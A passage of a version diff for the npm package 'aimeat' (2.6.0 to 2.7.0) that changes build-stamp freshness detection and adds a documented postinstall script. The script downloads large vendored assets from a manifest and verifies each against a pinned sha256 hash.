C;QAC5G,gGAAgG;QAChG,gGAAgG;QAChG,kGAAkG;QAClG,kDAAkD;QAClD,IAAI,CAAC,IAAI;YAAE,OAAO,6BAA6B,GAAG,CAAC,CAAC,CAAC,GAAG,CAAC,UAAU,IAAI,OAAO,CAAC;QAC/E,OAAO,gBAAgB,IAAI,wDAAwD,GAAG,CAAC,CAAC,CAAC,KAAK,IAAI,CAAC,CAAC,GAAG,CAAC,OAAO,IAAI,OAAO,CAAC;IAC7H,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC;YACD,CAAC,CAAC,CAAC,EAAE;;EAEf,MAAM,CAAC,WAAW,EAAE,WAAW,CAAC,CAAC,CAAC,OAAO,GAAG,CAAC,CAAC,CAAC,IAAI,CAAC;0BAC5B,GAAG,CAAC,MAAM,CAAC,WAAW,CAAC,WAAW,CAAC;kBAC3C,GAAG,CAAC,CAAC,CAAC,QAAQ,CAAC,YAAY,CAAC,CAAC,CAAC,EAAE;;EAEhD,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,8EAA8E,GAAG,CAAC,MAAM,CAAC,KAAK,CAAC,YAAY,CAAC,CAAC,CAAC,EAAE;;MAE3H,GAAG,CAAC,CAAC,CAAC,UAAU,CAAC;;sBAED,GAAG,CAAC,CAAC,CAAC,SAAS,CAAC;kBACpB,GAAG,CAAC,CAAC,CAAC,QAAQ,CAAC,WAAW,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC,GAAG,EAAE,IAAI,EAAE,CAAC;;WAE3E,GAAG,CAAC,IAAI,CAAC,wBAAwB,GAAG,CAAC,CAAC,CAAC,OAAO,CAAC;WAC/C,GAAG,CAAC,IAAI,CAAC,0BAA0B,GAAG,CAAC,CAAC,CAAC,SAAS,CAAC;WACnD,GAAG,CAAC,IAAI,CAAC,SAAS,CAAC,KAAK,GAAG,CAAC,CAAC,CAAC,OAAO,CAAC;;;;;QAKzC,CAAC;AACT,CAAC"}
@@ -1 +1 @@
1
- {"version":3,"file":"build-stamp.d.ts","sourceRoot":"","sources":["../../../src/utils/build-stamp.ts"],"names":[],"mappings":"AAoBA,MAAM,WAAW,UAAU;IACzB,cAAc,EAAE,MAAM,CAAC;IACvB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,MAAM,GAAG,IAAI,CAAC;IACtB,KAAK,EAAE,OAAO,GAAG,IAAI,CAAC;IACtB,QAAQ,EAAE,MAAM,CAAC;IACjB,mBAAmB,EAAE,MAAM,CAAC;IAC5B,WAAW,EAAE,MAAM,EAAE,CAAC;CACvB;AAED,MAAM,WAAW,cAAc;IAC7B;;;;;OAKG;IACH,KAAK,EAAE,OAAO,GAAG,OAAO,GAAG,QAAQ,GAAG,SAAS,CAAC;IAChD,KAAK,EAAE,UAAU,GAAG,IAAI,CAAC;IACzB,kFAAkF;IAClF,OAAO,EAAE,MAAM,GAAG,IAAI,CAAC;CACxB;AAUD,gGAAgG;AAChG,wBAAgB,cAAc,IAAI,UAAU,GAAG,IAAI,CAOlD;AAuBD;;;GAGG;AACH,eAAO,MAAM,cAAc,OAAO,CAAC;AAEnC;;;;;;;;GAQG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,UAAU,GAAG,IAAI,EAAE,YAAY,EAAE,MAAM,GAAG,cAAc,CAc/F;AAED;;;;;;;GAOG;AACH,wBAAgB,aAAa,CAAC,SAAS,EAAE,cAAc,EAAE,KAAK,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,GAAG,IAAI,CAa5F;AAED;;;;GAIG;AACH,wBAAgB,aAAa,CAAC,SAAS,EAAE,cAAc,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAQhF;AAED,oEAAoE;AACpE,wBAAgB,mBAAmB,IAAI,cAAc,CAOpD"}
1
+ {"version":3,"file":"build-stamp.d.ts","sourceRoot":"","sources":["../../../src/utils/build-stamp.ts"],"names":[],"mappings":"AAwBA,MAAM,WAAW,UAAU;IACzB,cAAc,EAAE,MAAM,CAAC;IACvB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,MAAM,GAAG,IAAI,CAAC;IACtB,KAAK,EAAE,OAAO,GAAG,IAAI,CAAC;IACtB,QAAQ,EAAE,MAAM,CAAC;IACjB,mBAAmB,EAAE,MAAM,CAAC;IAC5B,WAAW,EAAE,MAAM,EAAE,CAAC;CACvB;AAED,MAAM,WAAW,cAAc;IAC7B;;;;;OAKG;IACH,KAAK,EAAE,OAAO,GAAG,OAAO,GAAG,QAAQ,GAAG,SAAS,CAAC;IAChD,KAAK,EAAE,UAAU,GAAG,IAAI,CAAC;IACzB,kFAAkF;IAClF,OAAO,EAAE,MAAM,GAAG,IAAI,CAAC;CACxB;AAUD,gGAAgG;AAChG,wBAAgB,cAAc,IAAI,UAAU,GAAG,IAAI,CAOlD;AAuBD;;;GAGG;AACH,eAAO,MAAM,cAAc,OAAO,CAAC;AAEnC;;;;;;;;GAQG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,UAAU,GAAG,IAAI,EAAE,YAAY,EAAE,MAAM,GAAG,cAAc,CAc/F;AAED;;;;;;;GAOG;AACH,wBAAgB,aAAa,CAAC,SAAS,EAAE,cAAc,EAAE,KAAK,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,GAAG,IAAI,CAa5F;AAED;;;;GAIG;AACH,wBAAgB,aAAa,CAAC,SAAS,EAAE,cAAc,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAQhF;AAED,oEAAoE;AACpE,wBAAgB,mBAAmB,IAAI,cAAc,CAepD"}
@@ -12,9 +12,13 @@
12
12
  * @structure readBuildStamp(): BuildStamp | null; checkBuildFreshness(): BuildFreshness
13
13
  * @usage import { checkBuildFreshness } from '../utils/build-stamp.js';
14
14
  * @version-history
15
+ * v1.1.0 — 2026-08-02 — Detect a published install by the absence of `src/` rather than by all
16
+ * source dirs scanning to zero. `scripts/vendor-libs.mjs` ships as a postinstall hook, so a
17
+ * tarball has a `scripts/` dir whose mtimes are extraction time — which made every published
18
+ * install announce STALE BUILD. Found by installing the packed tarball into a clean directory.
15
19
  * v1.0.0 — 2026-08-02 — Initial stale-dist detection for the serve daemon.
16
20
  */
17
- import { readFileSync, readdirSync, statSync } from 'node:fs';
21
+ import { readFileSync, readdirSync, statSync, existsSync } from 'node:fs';
18
22
  import { fileURLToPath } from 'node:url';
19
23
  import { dirname, join } from 'node:path';
20
24
  /** dist/src/utils/build-stamp.js → dist/. In dev (src/utils) this points at a path that does not exist. */
@@ -136,6 +140,13 @@ export function checkBuildFreshness() {
136
140
  if (!stamp)
137
141
  return compareFreshness(null, 0);
138
142
  const pkgRoot = join(dirname(stampPath()), '..');
143
+ // `src/` is THE discriminator between a dev checkout and a published install, because it is the
144
+ // one source dir that never ships. Do not infer this from the union of source_dirs: `scripts/`
145
+ // partially ships (vendor-libs.mjs is a postinstall hook), so a tarball install has a `scripts/`
146
+ // whose mtimes are the EXTRACTION time — newer than built_at, which made every published install
147
+ // announce itself as a stale build. Measured on a clean `npm install` of 2.6.1 before this line.
148
+ if (!existsSync(join(pkgRoot, 'src')))
149
+ return compareFreshness(stamp, 0);
139
150
  const dirs = stamp.source_dirs ?? ['src', 'bin', 'scripts'];
140
151
  return compareFreshness(stamp, Math.max(0, ...dirs.map((d) => newestMtime(join(pkgRoot, d)))));
141
152
  }
@@ -1 +1 @@
1
- {"version":3,"file":"build-stamp.js","sourceRoot":"","sources":["../../../src/utils/build-stamp.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"build-stamp.js","sourceRoot":"","sources":["../../../src/utils/build-stamp.ts"],"names":[],"mappings":"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"}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "aimeat",
3
- "version": "2.6.0",
3
+ "version": "2.7.0",
4
4
  "description": "AIME AT - AI Memory Exchange and Action Transfer - reference implementation",
5
5
  "type": "module",
6
6
  "main": "dist/src/index.js",
@@ -12,6 +12,7 @@
12
12
  },
13
13
  "files": [
14
14
  "dist/",
15
+ "scripts/vendor-libs.mjs",
15
16
  "docs/AIMEAT_Help_Prompt.md",
16
17
  "docs/csm-examples/"
17
18
  ],
@@ -102,7 +103,7 @@
102
103
  "vitest": "^4.1.8"
103
104
  },
104
105
  "scripts": {
105
- "postinstall": "node scripts/vendor-libs.mjs",
106
+ "postinstall": "node scripts/vendor-libs.mjs --optional",
106
107
  "vendor:libs": "node scripts/vendor-libs.mjs",
107
108
  "check:vendored": "node scripts/vendor-libs.mjs --check",
108
109
  "dev": "node scripts/vendor-libs.mjs && tsx scripts/kill-port.ts && tsx scripts/build-app-catalog.ts && tsx scripts/build-sdk-libs.ts && node --env-file=.env --import tsx src/index.ts start",
@@ -0,0 +1,144 @@
1
+ /**
2
+ * @file scripts/vendor-libs.mjs
3
+ * @description Fetch the vendored /lib/ assets that are too large to keep in git, listed in
4
+ * public/lib/vendored-assets.json, and verify each against its pinned sha256. Idempotent: an
5
+ * asset that is already present and correct is left alone, so running this on every install,
6
+ * dev start and build costs nothing after the first time.
7
+ *
8
+ * Plain .mjs on purpose — it runs as a postinstall hook, where a production install
9
+ * (`pnpm install --prod`) has no tsx to run a TypeScript script with.
10
+ *
11
+ * TWO LAYOUTS, and getting this wrong broke `npm i aimeat` for every published version up to
12
+ * 2.6.0. A dev checkout serves from `public/`; a PUBLISHED install ships `dist/` only, so the
13
+ * same tree arrives at `dist/public/`. Resolving the manifest at a hardcoded `public/lib/` meant
14
+ * the hook crashed with MODULE_NOT_FOUND-adjacent "no manifest" on every real install — unnoticed
15
+ * because this repo's own global `aimeat` is a symlink into the working tree and therefore never
16
+ * exercises the tarball.
17
+ * @structure resolvePublicRoot() → dev vs published layout; main() → --check (verify only, non-zero
18
+ * exit when something is missing) | --optional (never fail the caller) | default (download what is
19
+ * missing or corrupt, atomically via a .part file)
20
+ * @usage
21
+ * pnpm vendor:libs # download what is missing (dev start / build run this)
22
+ * pnpm check:vendored # verify only — CI and "why does /lib/... 404" use this
23
+ * node scripts/vendor-libs.mjs --optional # postinstall: warn, never abort the install
24
+ * AIMEAT_SKIP_VENDOR=1 pnpm install # opt out (offline or air-gapped machine)
25
+ * @version-history
26
+ * v1.1.0 — 2026-08-02 — Resolve the public tree in BOTH layouts (dev `public/`, published
27
+ * `dist/public/`), and add `--optional` for the postinstall hook so a firewalled or offline
28
+ * machine gets a warning instead of a failed `npm install`. Explicit runs and --check still
29
+ * fail loudly.
30
+ * v1.0.0 — 2026-07-30 — initial: @ffmpeg/core 0.12.6 wasm (32 MB), sha256-pinned.
31
+ */
32
+ import { createHash } from 'node:crypto';
33
+ import { readFileSync, existsSync, mkdirSync, renameSync, rmSync, statSync, writeFileSync } from 'node:fs';
34
+ import { dirname, join, resolve } from 'node:path';
35
+ import { fileURLToPath } from 'node:url';
36
+
37
+ const ROOT = resolve(dirname(fileURLToPath(import.meta.url)), '..');
38
+ const checkOnly = process.argv.includes('--check');
39
+ /** postinstall: a machine that cannot reach the network must still finish installing. */
40
+ const optional = process.argv.includes('--optional');
41
+
42
+ /**
43
+ * The served public tree, which is not in the same place in both layouts: a dev checkout has
44
+ * `public/`, a published install ships `dist/` only and so has `dist/public/`. Assets must land in
45
+ * the tree the node actually serves, or they are downloaded and then never found.
46
+ */
47
+ function resolvePublicRoot() {
48
+ for (const candidate of [join(ROOT, 'public'), join(ROOT, 'dist', 'public')]) {
49
+ if (existsSync(join(candidate, 'lib', 'vendored-assets.json'))) return candidate;
50
+ }
51
+ return null;
52
+ }
53
+
54
+ const PUBLIC_ROOT = resolvePublicRoot();
55
+ if (PUBLIC_ROOT === null) {
56
+ const where = 'public/lib/vendored-assets.json (dev) or dist/public/lib/vendored-assets.json (published)';
57
+ if (checkOnly) {
58
+ console.error(`vendor-libs: no manifest found at ${where}.`);
59
+ process.exit(1);
60
+ }
61
+ // Not a layout we recognise. Saying so beats aborting somebody's install over it.
62
+ console.warn(`vendor-libs: no manifest at ${where} — nothing to vendor.`);
63
+ process.exit(0);
64
+ }
65
+ const MANIFEST = join(PUBLIC_ROOT, 'lib', 'vendored-assets.json');
66
+
67
+ /** sha256 of a file on disk, or null when it is not there. */
68
+ function hashOf(file) {
69
+ if (!existsSync(file)) return null;
70
+ return createHash('sha256').update(readFileSync(file)).digest('hex');
71
+ }
72
+
73
+ function human(bytes) {
74
+ return bytes >= 1024 * 1024 ? `${(bytes / 1024 / 1024).toFixed(1)} MB` : `${Math.round(bytes / 1024)} kB`;
75
+ }
76
+
77
+ async function download(asset, target) {
78
+ const part = `${target}.part`;
79
+ mkdirSync(dirname(target), { recursive: true });
80
+ process.stdout.write(` ↓ ${asset.path} (${human(asset.bytes)}) from ${asset.url}\n`);
81
+ const res = await fetch(asset.url, { redirect: 'follow' });
82
+ if (!res.ok) throw new Error(`${asset.url} → HTTP ${res.status}`);
83
+ const bytes = Buffer.from(await res.arrayBuffer());
84
+ const got = createHash('sha256').update(bytes).digest('hex');
85
+ if (got !== asset.sha256) {
86
+ throw new Error(`${asset.path}: sha256 mismatch\n expected ${asset.sha256}\n got ${got}\n`
87
+ + ' The pinned URL served different bytes. Do NOT ship this file; check the source first.');
88
+ }
89
+ if (bytes.length !== asset.bytes) {
90
+ throw new Error(`${asset.path}: expected ${asset.bytes} bytes, got ${bytes.length}`);
91
+ }
92
+ writeFileSync(part, bytes);
93
+ // Rename last, so an interrupted run never leaves a half file where the server would serve it.
94
+ renameSync(part, target);
95
+ }
96
+
97
+ const manifest = JSON.parse(readFileSync(MANIFEST, 'utf8'));
98
+ const assets = manifest.assets ?? [];
99
+ let missing = 0;
100
+ let fetched = 0;
101
+
102
+ if (process.env.AIMEAT_SKIP_VENDOR === '1' && !checkOnly) {
103
+ console.log('vendor-libs: AIMEAT_SKIP_VENDOR=1 — skipping. /lib/ assets in the manifest will 404 until you run pnpm vendor:libs.');
104
+ process.exit(0);
105
+ }
106
+
107
+ for (const asset of assets) {
108
+ const target = join(PUBLIC_ROOT, asset.path);
109
+ const have = hashOf(target);
110
+ if (have === asset.sha256) continue;
111
+
112
+ if (checkOnly) {
113
+ missing++;
114
+ const what = have === null ? 'MISSING' : `WRONG CONTENT (sha256 ${have.slice(0, 12)}…)`;
115
+ console.error(`vendor-libs: public/${asset.path} — ${what}`);
116
+ continue;
117
+ }
118
+ if (have !== null) {
119
+ console.warn(` ! public/${asset.path} does not match its pinned hash (${statSync(target).size} bytes on disk) — refetching`);
120
+ rmSync(target);
121
+ }
122
+ try {
123
+ await download(asset, target);
124
+ fetched++;
125
+ } catch (err) {
126
+ // An explicit `pnpm vendor:libs` must still fail — the caller asked for these bytes. The
127
+ // postinstall hook must not: a firewalled or offline machine installing the package has not
128
+ // asked for anything, and failing there aborts the whole install over an optional asset.
129
+ if (!optional) throw err;
130
+ console.warn(`vendor-libs: could not fetch ${asset.path} — ${(err).message}`);
131
+ console.warn(`vendor-libs: /lib/${asset.path} will 404 until you run: pnpm vendor:libs`);
132
+ }
133
+ }
134
+
135
+ if (checkOnly) {
136
+ if (missing > 0) {
137
